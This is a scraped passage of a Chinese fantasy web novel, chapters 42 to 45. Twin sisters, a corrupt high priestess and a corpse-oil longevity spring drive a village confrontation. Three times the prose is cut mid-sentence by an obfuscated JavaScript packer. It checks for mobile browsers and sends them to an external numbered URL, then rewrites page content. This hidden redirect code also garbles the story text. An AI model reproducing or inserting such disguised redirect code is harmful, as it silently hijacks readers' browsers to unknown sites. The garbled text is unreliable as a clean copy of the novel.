若生下白嫩可爱的正常婴儿,则会由长老会的许三筒带人把孩子送给族内没有后代的中年夫妇养。 若生下畸形怪胎,则当场生起一盆火,不等孩子活过夜,就把孩子投进火盆里烧死…… 一听要把宋花枝送去落花房,赵二就心疼了,想了想,突然抓住齐老的袖子着急说:“齐老,你给我和鸾妹一条活路吧!” 他和、鸾妹?! 我:“???” 不等齐老反应过来,赵二便接着深情楚楚道: “齐老,你也知道,我和鸾妹从小一起长大,两年前要不是因为老祭司舍不得让鸾妹跟着我受苦,从中作梗害我在最后一重考验中失败,我和鸾妹,早就是名正言顺的夫妻了! 齐老,你不晓得,我昨天已经去找过大祭司了,大祭司答应把鸾妹许配给我,我俩今天也是情不自禁,才、才犯了这等大错……我俩不是奸夫**,我俩、是有媒妁之言的未婚夫妻。 齐老……求你看在鸾妹年纪小胆子小的份上,饶了鸾妹吧,别把鸾妹送去落花房,我明天就把她带回家,我一定好好管教她……” 围在一起的族人们皆是一头雾水。 同样被赵二的话吓到的,还有我! 呵,这个畜生,这种时候还不忘拉我给宋花枝做挡箭牌! 齐老怔住,反应迟钝地沉默半晌,才皱眉找他确认:“等等,你口中的鸾妹,是宋鸾镜?!” 赵二重重点头:“对!” 第42章 圣女竟被破了身! 齐老咬牙:“你确定你身后的女人是宋鸾镜,而不是别人?!” 赵二不怕死地颔首,理直气壮道: “我和鸾妹本就是青梅竹马……情到深处,才犯了这等错事。齐老,你能不能先让人散开,鸾妹还没穿衣服……” 齐老气急败坏地狠狠砸了手里木棍:“赵二福,你以为我瞎!” 赵二一震,心虚地避开齐老刀子般的眼神,暗暗拉了拉身后女子的手。 女子胸口大幅度起伏良久,忽然,拿下了手里的男人白汗衫,抬头,主动顶着一张与我一模一样、眉心没有凤凰纹的脸。 眼神委屈地朝众位吃瓜吃到大脑宕机的族人们说: “我……的确是宋鸾镜,对不起,是我勾引的赵二哥,我喜欢赵二哥,我实在太想嫁给赵二哥了才做下这种不知廉耻的事。 都怪我,太害怕婶子不许赵二哥娶我,所以,才想着先和赵二哥生米煮成熟饭,我名声不好,这样一来,万一我有幸怀上赵二哥的孩子,就能顺利嫁进赵家了……” 说着,还装模作样地低头垂泪,摸摸自己的小腹。 可能是因为……我站的位置偏后,身前挡了太多人,而我个头又不是很高…… 这俩蠢货都没看见我,所以这才肆无忌惮地往我身上泼脏水? 我也想挤到前面去前排吃瓜来着,可我来迟了,前面的大妈们压根不许我多上前一步。 她这番听似很有道理、很有逻辑的话说完,前排大妈们一致的转身扭头惊悚地朝我看过来…… 立在人群正中的大祭司也额角青筋暴跳。 我抽了抽嘴角,尴尬小声道:“别看我啊,我也懵啊!” 族里的那些元老都是人精,一听宋花枝这么说,当即就回味了过来,摆谱厉声斥责道: “够了!你到底是谁!我不管你用了什么蛊改变了容貌,现在都给我变回去!不然,别怪我现在就族规处置你!” 宋花枝颤颤擦泪:“齐老……你说什么呢?我、就是宋鸾镜啊!” 齐老也懒得和她费口舌了,手一挥,命令道:“好了!宋鸾镜,你自己滚出来看看这到底是怎么回事!” 我淡定拨开人群挤进去,昂头迎上宋花枝与赵二惊恐的眼神,讥讽一笑:“你是宋鸾镜,那我是谁?” 族里有明事理的大娘立马插话:“宋鸾镜之前一直在祠堂,和我们从未分开过。她到底怎么招惹你们了,让你们用这么恶心的手段来污蔑人家小姑娘?” “就是,现在真正的宋鸾镜就在你面前,你还有什么好解释的?听你刚才那话,和野仙苟合的人,是你啊!那之前,都说和野仙苟合的人是宋鸾镜,会不会也是你假扮的她,故意冒充她诋毁她的!” “不,我没有,我就是真正的宋鸾镜。”宋花枝急着含泪向众人解释,抬手指向我振振有词的污蔑:“她才是假的!她是妖怪变的!你们相信我,我才是真的宋鸾镜。” 我冷笑笑,“既然你说你才是宋鸾镜,宋鸾镜昨夜烧毁了长生宫,是死罪。她们要拿宋鸾镜祭天,你是宋鸾镜,那就劳烦各位族老与乡亲们做个见证,现在就把她绑起来,当场烧死祭天吧。” “你!”宋花枝俏脸瞬白,被我气到语塞。 我趁机逼近她恐吓道:“你是宋鸾镜,那你就**吧,反正她们从未想过让宋鸾镜活……如果你不是宋鸾镜,那你又是谁呢?” 她心虚的不敢直视我的眼神,怯怯后退,想了想,昂头一本正经地说: “是!是我假扮了你!我只是贪图赵二的美色,但赵二又对你情根深种,所以我只能出此下策,扮成你和赵二在一起。 刚才我提到野仙家,也是为了让赵二相信我是你……不过这又如何,我的目的已经达到了,你们就算知道我是假的又怎样,宋鸾镜,该死的,还是你,你想害我,做梦!” 这样解释,还挺聪明。 她说完,猛地扬手,一股粉雾瞬间在我眼前炸开,熏得我双眼辣痛视线模糊…… 她要跑路,不过我又怎会放过这千载难逢的好机会! 举起手上的镯子,我用意念操控莲花红玉镯朝她射去一缕红丝绸—— 绸子顷刻将她还未跑远的白皙光滑身体层层裹住,等将她全身裹严实后,我才猛地用力,把她又扯了回来…… 粉雾散去后,被我扯回来的女人眉眼不觉间起了细微变化,额心的赤色凤凰纹也愈发清晰妖艳。 我望着她变回本相的脸,不由一惊。 直到耳边传来某蛇王一声傲娇的轻哼,我才完全放下心。 可惜,她自己并不晓得脸已经变回来了。 面对众族人惊愕瞪大的双眼,仍嚣张地大放厥词:“宋鸾镜!你放开我!你要拿回你的身份我给你了,你还有什么可纠缠的!” “宋鸾镜,你真以为你能困得住我?呵!做梦!” 她边说边发了疯的挣扎,赵二趁众人注意力不在自己身上,随便套了件外袍裹住自己,看见宋花枝的脸,吓得踉跄一步…… 半晌,才反应过来要阻止宋花枝。 跑过去害怕地提醒宋花枝:“你先别说了……” 宋花枝不听,仍破口大骂:“宋鸾镜,你个破鞋,你个**!你的身份给我用,我还不稀罕呢!肮脏的**!” 赵二急得满头冷汗:“脸……” 宋花枝听见关键词,这才把话憋回去:“什么脸?” 赵二低着头不敢见人:“变回来了!” 宋花枝:“……啊!” 惨叫一声,随后演技甚好地一头倒下,装晕。 族里几位元老见此幕惊得个个吹胡子翻白眼,手脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038497|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哆嗦—— “竟然是、圣女……” “反了天了,完啦,我们月阴村要完啦!” “大祭司,您今天说什么也要给我们所有族人一个交代,当初是您说,在娘娘庙与男性族人及野仙家苟合的是宋鸾镜,圣女仍是处子之身,可现在…… 现在圣女与赵二这个小畜生……哎!我们阴苗族到底造了什么孽啊!” 大祭司这才猛地身上一抖,突然恢复自由,瞪大浸了血色的漆眸,看了看倒在地上的亲闺女,又怨恨至极的瞧向我—— 咬紧牙根,攥住乌灵木权杖情绪激亢地大喘气。 不好再当着众人的面对我发作,只能面红耳赤地愤怒下令:“回祖祠,把他俩……也给我押进来!” 言罢,一挥广袖,提着乌灵木权杖大步流星地返回祖祠。 众人也乌泱泱地跟上,长老会的打手们唯恐我趁乱偷跑,不等赵二那个丢人玩意焦急赶过来找我狡辩,就抓着我的胳膊把我硬拽回了祖祠…… “鸾妹,鸾妹我……” 还一口一个鸾妹呢,真让人恶心! 长老会的人将装晕的宋花枝抬进祖祠,平放在盘龙揽星的藻井正下方地面。 大祭司装模作样地抬手聚起紫色巫力给宋花枝疗伤。 片刻,宋花枝睁开眼,机灵地猛弹坐起身,裹着红绸伸手就抱住大祭司,佯作乖巧温顺地委屈哭诉:“妈,有人要害我!刚才,我被妖孽上了身,发生了什么,我都不记得了……” 被妖孽上身?真是好理由啊! 我都没想到这家伙的脸皮如此厚。 偏偏就有族人肯相信她的鬼话,一个个如释重负的猛松一口气。 “我就说,刚才的圣女一脸凶相,一身邪气,怎么可能是我们真正的圣女。” “圣女是神娘娘转世,是我们整个月阴村最圣洁的女子,怎会和人偷情……” “山里那些野仙实在是太胆大妄为了,竟敢附圣女的身,还变成宋鸾镜的模样!咱们大家,差点就被她骗了!” 倒也有明白人开口质疑:“就算,圣女刚才被附身了,那圣女的处子身,也被破了……” “是啊,圣女破了身,可就不能为我们供养长生泉了。” “那长生泉水,是不是没用了……我们是不是,要失去长生的机会了?” 一句话引得族人们霎时人心惶惶,担惊受怕起来。 大祭司将自己的外袍脱下,裹在心爱的女儿身上,昂头眼神锋利如刀地剐向我,厉声呵斥: “宋鸾镜,是你引来了妖物,陷害花枝!昨晚你烧了长生宫,今天你又害花枝破了身,你是故意的!你就是想置我们整个阴苗族于死地!” 我一愣,万万没想到宋淑贞倒打一耙的本事这么强,真的都能说得像假的,假的也能说成真的…… 第43章 睡完姐姐还想娶妹妹,左右都不吃亏 上下嘴皮子一碰,一条人命就这么轻易地解决了。 “我?” 我冷笑: “大祭司可真会颠倒黑白,你自己女儿造了孽,做出这么丢人的事还被看见,用一个妖物附身当幌子,就算洗白了?洗白的同时,还不忘拉踩我一脚。你可真是,好手段!” 大祭司硬气的肃色道: “昨晚你才烧了长生宫,今天花枝就被人破了身,今天又是祭拜长生泉的大日子,这两件事赶在一块发生,大家不觉得太过碰巧了吗? 况且,本祭司的确在花枝的身上探到了妖物附身时残留的妖息,宋鸾镜,是你,你记恨我们将你送入长生宫祭长生泉,所以你就想害死我们整个阴苗族! 你是在用这种方式,报复我们!” 宋花枝也扮着柔弱躲在大祭司怀里,声泪俱下的可怜兮兮道: “阿镜,你别狡辩了,姐姐知道你嫉妒姐姐从小就能被母亲养在膝下,继承母亲衣钵,你恨姐姐独享了母亲的爱,你也想做圣女。 所以你才让山里的野仙附在我身上,**的做这种事,阿镜,你就这么恨姐姐吗,非要毁了姐姐你才开心! 姐姐都亲耳听到了,那只妖物俯我身时,清楚地在我耳边告诉我,他是来为你报仇的…… 阿镜,姐姐说过,你想做圣女,姐姐可以把圣女的身份让给你,姐姐会去求母亲,让母亲封你做新圣女。 你又何必先让银杏在娘娘庙污蔑母亲偏心,编造双生圣女的谎言,如今又让妖物附我身子污我清白呢,你这不是在将姐姐往死路上逼吗?” 她这话一出,祠堂里立马有大聪明恍然大悟道: “原来这一切都是宋鸾镜设的局啊!宋鸾镜也想做圣女,她以为找人污了圣女的清白,自己就能顶替圣女,成为阴苗族的新圣女了!宋鸾镜真是好歹毒的心肠!” “她宋鸾镜也不看自己是什么东西,也配肖想圣女之位?” “大祭司说得对,她先烧长生宫又利用妖物害得圣女破了身子,就是想毁了长生泉,毁了我们阴苗族的未来啊!” “宋鸾镜小小年纪就心如蛇蝎,以前咱们还真是看错了她。” “哎呦我的老天啊,我家男人还等着长生泉水治病呢!宋鸾镜,你还我男人命来!” “大祭司,这种祸害留着只会害死我们阴苗族更多人,今日就当着列祖列宗的面,您下令,我们拿火把烧死她!” “对,烧死这个祸害!” 众人的讨伐声此起彼伏,眼见着有族人已经失控的要朝我扑过来对我动手了,我赶忙高声自救:“我从来没有联系过山中的野仙,你们刚才说的这些,我都不承认自己做过!” 转头看向瘫坐在地上装娇弱的宋花枝,我问:“你确定,你真的听见妖物亲口告诉你,他附你的身,是为了替我报仇的?!” 宋花枝懦懦点头,回答得坚定: “对,这种事、我还能撒谎不成,妹妹,我没有污蔑你的动机啊。” 我冷笑, “如果真有妖物附你的身,如果真是我让妖物害你破身,宋花枝,为何你和赵二苟合缠绵被人发现后,却顶着我的脸?! 若真有妖物来为我找你报仇,为什么你在昏迷前,却那样凶狠的骂我破鞋**?” 宋花枝噎住,瞬间白了脸:“我、我哪知道,兴许,是你在外招惹了哪位仙家,他是来向你寻仇的也说不准……” “如果妖物最开始就是为了对付我,那你们说,我想报复阴苗族所有人,想毁了阴苗族的未来这一条,就不成立。” 我抓住她话里的漏洞,继续逼问下去: “如果真是我在外招惹了哪位野仙,它过来找我寻仇,他既有附身的本事,也该附我的身,毁我的清白,为什么,他却上了你的身?” “我、我……”宋花枝心虚地支支吾吾回答不上来。 我嫌恶道: “别装了,你根本没有被上身,赵二也清楚和他在一起偷情的女人到底是谁,他是为了保护你,才喊我的名字。 你怕大家看见你的真面目,就用阴蛊改变了自己的容貌,想把今天这盆脏水也泼我身上,宋花枝,我们是一母同胞不错,但我生来并不是为做你的替死鬼!” “没有、没有,我是真被附身了……”宋花枝急着解释,大祭司护女心切,悄然给赵二使眼色。 眼见宋花枝自己兜不住了,赵二咬咬牙,挺身而出跪下来不断给族人们磕头: “都是我不好,是我、趁着圣女被妖物上身,垂涎圣女的美色,才将错就错**了圣女…… 也是我,害怕被人发现我糟蹋的是圣女,才谎称和我在一起的是鸾妹,我只是怕被大祭司追责,怕被族人们惩罚,才想着,用阴蛊把圣女变成鸾妹,这样就不会有人怪我了。 此事与圣女无关,都是我一个人所为,圣女是无辜的……鸾妹也是无辜的,但,我爱鸾妹是真的,我也是真想娶她。 我想着反正鸾妹迟早是我的女人,我今天虽对不起她,可我会用自己的一辈子去弥补她,疼爱她…… 鸾妹,鸾妹你原谅我,鸾妹咱俩迟早是会有这么一天的,现在说开了,不如,不如你现在就答应嫁给我。 我明天就雇花轿,风风光光的来迎娶你,我都为你做到这个份上了,你就别计较了好不好。” “我嫁给你妈!” 我气急恼怒地一脚踢在他胸口,将他踹得摔个四脚朝天, “你爱我想娶我?你算什么东西,刚睡了姐姐就想娶妹妹,这世上好事都被你占完了是吧,左右不吃亏是吧!” 我还是气不过,夺走旁边人手里的棍子就不客气地朝他一顿招呼,打得他满地乱爬凄声哀叫: “你这种拿她人名声不当回事恶意抹黑的渣男,配狗狗都嫌脏!你会炼蛊吗,你有本事改变她人容貌吗?既然你想做护花使者,我成全你!” 最后一棒子狠狠挥在他后背上,他痛得蜷缩在地双手护住脑袋,我用力将棒子砸摔在他身边,转头面向目瞪口呆的族人们,猛喘两口粗气道: “既然赵二也证明圣女的确是被妖物上了身,那想必是真有妖物作祟。 不过妖物先是上了圣女的身,然后又变成了我的样子,虽说,赵二的解释是他对圣女用了阴蛊才导致圣女面容变成我。 可,大家也知道,能改变他人面容的阴蛊是高等阴蛊,赵二没本事炼出来,而且圣女变成我以后,确实口口声声称自己是宋鸾镜,后来被拆穿,还急眼骂我,像是和我有什么血海深仇。 由此可见,妖物想害的,大概率是我和圣女两个人,再往深处推测,他说不定真正想对付的人,是大祭司呢,毕竟我和圣女,都是大祭司的女儿。” 蹲在地上的大祭司脸一青,欲言又止,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046077|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无从反驳。 我拍拍手接着道: “族里出了个能附身女孩,还会变脸,专和人偷情的妖物,那之前和山里野仙苟合的说不定也是他,毕竟他能变成任何人的脸。你们想用勾引野仙**娘娘庙的罪名杀我,我不服!” 人群里有几位心软的老太太听罢叹息道:“鸾镜说得有理啊!” “鸾镜这孩子是我看着从小长到大的,她的确不是会害人的性子……” “说不准,真是妖物变成了鸾镜,才害死那么多年轻男子。” 我从口袋里掏出那份**:“至于我说,大祭司一直在用无辜女孩的尸油供养长生泉,也有证据!” 利落散开刘月亮她们留下的丝帛,将血水写出的状书展示给族人们看。 端正秀气的血色簪花小楷从雪白丝帛上相继飘出,泛着金光,于列祖列宗牌位前放大数倍,浮于半空—— **上将大祭司如何用催命蛊切断她们的生机,又借为长生宫挑选长生玉女之名光明正大带走她们的尸体,用她们的尸身炼纯阴女尸油洒入长生泉。 还因怕地府发觉,族人怀疑,把她们的魂魄囚在长生宫,企图将她们炼成没有意识只会听圣女支配的阴蛊侍女等全部前因后果都写的清清楚楚…… **的最后,还有十七位玉女的亲笔签名与血手印。 大祭司护着宋花枝站起身,看见**的那一茬,脸上瞬间煞白一片…… 有玉女的家人认出**的签名,痛哭哀嚎:“那是我闺女的字迹!是我闺女的手印啊!” “是了,那上面也有我闺女的签名!” 族老们面面相觑,齐老最先不解询问:“这到底,是怎么回事?圣女真的对长生泉毫无用处,这些年都是在用阴命女们的尸油供养长生泉?” 族人们也接着追问不休: “上面还说,大祭司烧了她们的尸体炼尸油也就罢了,还囚禁她们的魂魄,要她们给圣女做一辈子的奴仆?” “原来圣女每年四月二十六去长生泉洗澡祈长生,都是假的!” “那这么讲,圣女是不是纯洁之身……就无从佐证了?” “没看见上面写的内容吗?长生泉是灵泉,需要阴命女的尸油来激发灵性,圣女又不是阴命女,她去洗澡,屁作用都没有……估摸就是去做做样子,立立人设。” “荒唐啊,长生宫怎么能供奉圣女的神像,圣女再怎么说只是个凡人,怎么能享神娘娘香火!” 眼见真相暴露,宋花枝瑟瑟发抖地往大祭司怀里躲了躲,大祭司一边安抚宝贝闺女,一边抬头用淬了毒的眼神狠狠剜我。 片刻后,大祭司冷冷开口发话:“是!这些年来,本祭司是在用阴命女的尸油激发长生泉的灵性,圣女去泉中洗澡,是在为长生泉驱除阴气。” 老人们无奈摇头,纷纷指责:“胡闹啊!人命关天!” “怎能用无辜女子的性命,来供养长生泉!” “那我们每年喝的圣水,岂不是都是尸水?” “呕——” 而那些无辜玉女的家属则在此刻哭得凄惨悲恸:“我的孩子啊……原来她不是病死的!” “大祭司你好狠的心,那是条活生生的命啊!” “大祭司你心疼自己的女儿,就用我们的女儿供养长生泉,让你女儿领功接受族人们感激这么多年!你也是个母亲,你于心何忍啊!” 第44章 帝君对你真仗义! 还有人趁机扎大祭司心窝子: “她是母亲,生了两个女儿,却只认凤凰接引神娘娘转世的大女儿,小女儿若非是心善的老祭司出手相救,早就被她按在家门口一刀砍断脖子了。” 大祭司听见这话,脸上青一阵紫一阵,颇为难看。 “够了!” 宋淑贞一声怒喝吓停众人,拄着权杖走到祖祠祖宗牌位正前方,伸手便用巫力将飘浮在半空的血字收回了丝帛里。 下一秒,我只觉得手上一轻,手里的**也被她一并收了过去,落进了她的手中。 “本祭司这样做,也是为了整个阴苗族着想!” 宋淑贞看向众人强词夺理道: “这些年来,长生泉没有给你们带来长寿吗?长生泉的泉水,没有治好你们的病吗? 有多少瘫痪在床的人,喝了长生泉水能下地走路,多少病入膏肓的人喝了长生泉水朽木逢春,你们自己心里没数吗?” 猛地转身,冷眸直视齐老: “就连你!你儿子的断腿也是靠长生泉恢复的,你自己前几年得了肺痨,也是长生泉的泉水治好的,没有长生泉,你现在还能站在本祭司面前舌灿莲花吗!” 齐老心虚的顿住,众人听见这话,也霎时安静了下来。 宋淑贞扫视众人,冷漠道: “你们自己老实说,这些年来谁没有受过长生泉的神效?哪家没有靠长生泉延长寿数治过病!以一人之死,换阖族长寿,不值得吗? 本祭司做的这一切,难道是为了自己?既然你们如此大义凌然,好,从今年开始,谁都不要再喝长生泉的泉水了!你们该病的就去治病,该死的就赶紧**!” 果然,这番话说完,大部分族人都在沉默几秒后立即改口了。 “大祭司做的这一切,都是为了我们阴苗族!” “我们阴苗族不能失去长生泉,大祭司说得对,用一条命换我们阴苗族千千万万条命,值了!” “大祭司不把真相告诉我们是害怕我们有心理负担,大祭司是在为我们着想。” “我们坚决拥护大祭司!” 甚至连某些玉女的家人们听过此话后,也改变了主意,默默擦干眼泪,躲进人群深处……显然,是不打算计较了。 而我也是第一次这么直观地感受到……亲情之薄,世情之凉。 刘月亮她们说得对,只要死的不是自家女儿,这些族人们都是乐意分一杯羹的。 毕竟不需要付出任何代价的福利,才是最香的…… 不,也不对…… 现在是,哪怕**自家女儿,只要没死自己,只要女儿的死能让自己得到好处,他们也乐意接受。 反正,在这大山深处,女儿,是最不值钱的存在。 这就是,人性。 有人急着反咬我一口,厉声嚷嚷道:“都怪这个宋鸾镜,多管闲事!” “就是!圣女本就是神娘娘转世,怎么不能受神娘娘香火、不能收侍女了?” “大祭司与圣女一心为了阴苗族,却被她恶言中伤,乡亲们,不要放过她!麻烦都是她带来的,烧死她!” “对,烧死她!” 哪里是怕我带来麻烦,分明就是想封我的口,怕我泄密! 他们也怕,他们因一己之私干的肮脏事被外面苗家知道,受人耻笑。 他们也晓得,这是家丑! 我深感可笑,看着被大祭司攥进手里的**,抬高声索要:“把**给我!” 宋淑贞冷哼一声,拿着**挑眉道:“这东西,你没资格保管!” 话音落,一把巫火将**烧了个干净…… 我气急恼火地冲她吼道:“你就是心虚,你害怕我拿着这封**去告状!” “阴苗族的事,由本祭司做主,你只能做本祭司允许做的事!”宋淑贞说完,广袖一挥,狠毒下令:“把她绑起来!” 长老会的打手们应声就要扑过来抓我。 可惜,没等大祭司的那些爪牙碰到我,李大叔就带着银杏与阿乞闯进了祠堂,一条烟杆烫回了那只要抓我胳膊的脏手…… “老李……” 外婆生前与李大叔走得最近,又因李大叔懂得不少玄门道术,这些年来低调的为一部分族人摆平了不少棘手事。 故此李大叔在月阴村,乃至整个阴苗族都颇有威望,连长老会的那些打手也不敢随便招惹李大叔。 见李大叔出现,打手们吓得当即退了回去。 宋淑贞满眼怒意地凝声质问:“这是我月阴村阴苗族的祖祠,你来干什么?我警告你,不许插手我阴苗族的族内事!” 烟杆在李大叔手里潇洒转了圈,李大叔将烟杆别回腰后,漫不经心道:“你放心,我清楚自己没资格插手你们阴苗族的事。” “那你还来干什么!”宋淑贞双目充血。 李大叔将一身阴苗族少年装扮的阿乞往前头一推,“给你们阴苗族送人来了。” 齐老听得一头雾水,张了张嘴,还算有礼貌地轻声问:“老李啊,这孩子是什么情况?看着眼生,哪来的?” 李大叔无情地一巴掌拍阿乞脑袋上:“告诉他们,你哪来的。” 阿乞摸着脑袋疼得哎呦一声,回头看银杏与李大叔都在,又瞧了眼处境艰难的我。 鼓起勇气挺直腰杆道:“我是紫月大长老的亲传弟子白乞,紫月大长老已归天,我奉师父遗命,前来接任大长老之位!” 话音落,祠堂内霎时炸开了锅—— “大长老的徒弟?” “紫月大长老归天了?” “大长老不是在闭关吗?” 大祭司拄着权杖下意识瞪大了眼,死死盯着阿乞怀疑道:“你是紫月的徒弟?笑话!紫月怎么会让一个**都没长齐的孩子来接任什么大长老……” “就知道你不信!”阿乞从腰间布包里掏出一块令牌,一枚紫色灵石:“这是我师父传给我的,大长老令,你们要不要检查一下真假?” 族里的几位元老一眼就认出了令牌,“真是大长老的令牌!” “假不了,大长老的令牌上,镶的是紫灵玉,这孩子手里拿着的,也是大长老的本命紫极石。” “好啊,我们阴苗族终于再有长老坐镇了,大祭司,这是好事啊。” 这对宋淑贞而言还真不是好事,自古族内大长老的存在都是为了掣肘大祭司,紫月大长老闭关多年,族中大权早已被宋淑贞一人独揽在手中,她享受到了高高在上支配全局的快乐,又怎舍得再把权力分出去。 “是不是大长老的弟子,还需再验,本祭司倒要看看,你究竟是真长老还是假长老!”宋淑贞不死心地抬手聚起巫力就朝阿乞打过来。 但,万幸的是,阿乞不但没被她伤着,还出手化去了大祭司的巫术。 宋淑贞打了个空,踉跄退回原地,盯着自己的手陷入自我怀疑…… 阿乞得意地甩甩手:“怎么样,这回相信我了吧!我随师父修**的法术,专克大祭司巫术。” “你!”宋淑贞愤怒至极却不敢再多说一句。 族里的元老们很会见风使舵地赶紧弯腰向阿乞行礼: “大长老归来,我等不胜欢喜,还望大长老以后坐镇阴苗族,多为族人们谋福祉。” “大长老新上任,若有什么不懂的,可随时来找老夫,老夫定知无不言言无不尽。” “恭迎大长老回族!” 元老们承认的倒快,三言两语就带节奏领着族人们弯腰向阿乞恭敬行礼。 徒留宋淑贞与宋花枝母女俩僵硬站在‘万古流芳’匾额下干瞪眼。 阿乞学着他师父平日里的做派,有模有样地一手背后,一手抬起:“好了,都免礼吧!” 昂头看了眼面无表情的我,一本正经道:“长生宫失火一事,与宋鸾镜无关,火是我放的。” 祠堂里的族人们惊讶抬眼,却不敢出声质疑。 阿乞握拳遮在唇边咳了咳,背书似的一板一眼道: “本长老初上任,族中事物不甚熟悉,往后还要仰仗各位族人配合工作。师父不在族中这些年,大祭司辛苦了。 听说,这些年来长老会一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046078|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直由大祭司主管,现在,本长老奉师父遗命上任,长老会就不劳大祭司操心了。 以后长老会的人,听我调动。” 宋淑贞用力咬牙,虽心有不甘,但面上还是努力保持住了大祭司的威严端重,捏紧拳头淡漠应下:“可以。” “那就没事了,那个……宋鸾镜,你跟我走!”阿乞赶进度似的拽着我就往外迈。 因为有他这个新上任的大长老在,我就这么光明正大走了也没人敢拦。 银杏小跑着追上我们,等走到离祖祠两里距离的一片荒地处,阿乞才放开我的胳膊,拍拍胸脯心有余悸的大喘气:“吓死我了吓死我了!大祭司长得真吓人!幸好把你捞出来了!” 我拍了下阿乞的肩夸奖道:“不错嘛,刚才的表现,挺像那么回事的。” “哎,别说了,台词都是李叔教我的!” 阿乞着急向我比划着: “就刚才,我接她那一招,好险!幸亏李叔提前预判了她的行为,我这才能做足准备去接她的招式,不然我就被她一掌拍**。 我刚才,特别害怕露馅了!所以没说几句话就赶紧捞你出来了,李叔说过,留的越久,暴露的越多,尽早脱身才是上策。” “那你能接她一招,也挺厉害的。”我说。 阿乞脸一垮,表情夸张道: “我哪来的本事接她一招,我才跟师父学了三年……是我早上死皮赖脸跟帝君求的法力。 早上银杏姐接我回李叔家,李叔听完事情的全部经过后,就猜到她们肯定不会放过你,而我就算有长老的身份,也未必能捞得出你,必须要快准狠的解决大祭司。 可我法力不够,想接大祭司的招式难如登天,李叔修炼的又是纯道门法术,没办法,我们只能求帝君帮帮忙了。 正好早上我们说帝君,帝君就出现了,帝君知道今天你肯定要被为难,所以就给我渡了一掌法力,助我出面捞你! 镜镜姐,帝君对你是真仗义啊!” 我不禁哽住,原来是蛇王大人在背后暗中相助。 银杏懒散地抬胳膊搭在阿乞肩上,“人家是她老公,对她肯定要仗义!” 阿乞挠挠头,“真没想到帝君有一天也会结婚,还是和凡人结婚,我小时候和师父一起去拜帝君……” 话没说完,李大叔就追了上来,沉声打断: “停下来做什么?还不快回家!镜镜,你别忘记了,今晚要给你外婆补头七,你外婆头七当天你有事耽搁了,今晚必须把东西烧下去,别让你外婆在下面难赶路,纸钱元宝都准备好了吗?” “准备好了。”我赶紧点头回应。 李大叔这才放心地松口气: “那就行,你外婆的回魂夜是我和村长给你外婆烧的纸,应该够你外婆在下面用一阵。 但我们终归不是她的血亲,元宝什么的,还是得你亲自烧。 对了,听阿乞说,李月亮她们交给了你一封**?” 我正要张嘴回答,银杏抢先一步抱怨道:“爸你不是都看见了吗,刚被大祭司烧了啊!这个大祭司真是忒可恶了,果然姜还是老的辣。” 李大叔拿银杏没办法地抬手拍了银杏脑袋一巴掌:“就你这个脑瓜子,难怪出门总被忽悠!” 银杏被她爹拍得猛一激灵,阿乞好奇惊问:“李叔你这话是啥意思,难道**还在?” 我镇定从口袋里掏出一封写在白绸上的**,送给阿乞和银杏看:“我又不傻,**一旦拿出来,大祭司肯定会想方设法毁掉它不留把柄。” “那你之前掏出来的那张……”银杏指着**一脸迷茫地问我。 我从容淡定道: “仿的呗,那上面的血字是我用血蛊仿照她们的字迹一比一复制的,血手印也是我自己用手蘸黑鹰血盖上去的,上面十七个手印,其实都是我一个人的,只不过用的不是同一根手指头。” 银杏震愕张大嘴:“什么?你是说那张**是假的?你敢当着大祭司的面**,这也太危险了吧,万一被她发现……” 第45章 蛇王重伤吐血 我有理有据地解释: “**上的签名都是我用血蛊完全复制玉女们本人的字迹,而且十七名玉女里,有七名都已经过世十来年了。 别人伪造她们签名的概率微乎其微,她们的父母一时半会也根本不可能怀疑签名是假的。 至于血手印,手印的确有法子精准验证真伪,但需要时间。 不然,单用肉眼乍一看,谁能分出手指印到底是不是他们女儿的。 所以即便我伪造一份八分像的**拿出来,也不会被人拆穿。 **上的事大祭司全都干过,是实情,大祭司心虚,她会以为我把**拿出来是急于对付她。 而那份**就是她的罪证,她当然不会允许自己的把柄落在我手里,就算族人们不追究她的所作所为,她也怕我拿**去向神明告状。 最好的处理方式,就是尽快把**毁了。” 一个人在做了亏心事还留下证据的情况下,第一反应都是想着如何把证据毁掉,她们没闲工夫去考虑证据是否被人动过手脚。 “原来是这样。” 银杏恍然大悟: “你是拿捏了大祭司的心理反应,所以才能既挑破了真相,又保住了证据。镜宝你怎么能这么聪明呢!” 银杏兴奋地往我胳膊上拍了一巴掌,阿乞也总算明白过来: “这招高明啊!那我们接下来该怎么处理**?要不然,找个城隍庙烧了吧。 师父说过,阳间的冤假错案去城隍庙烧状纸,城隍爷看过,就会递交阴间,地府那边会派使者专门来处理这些事情。” 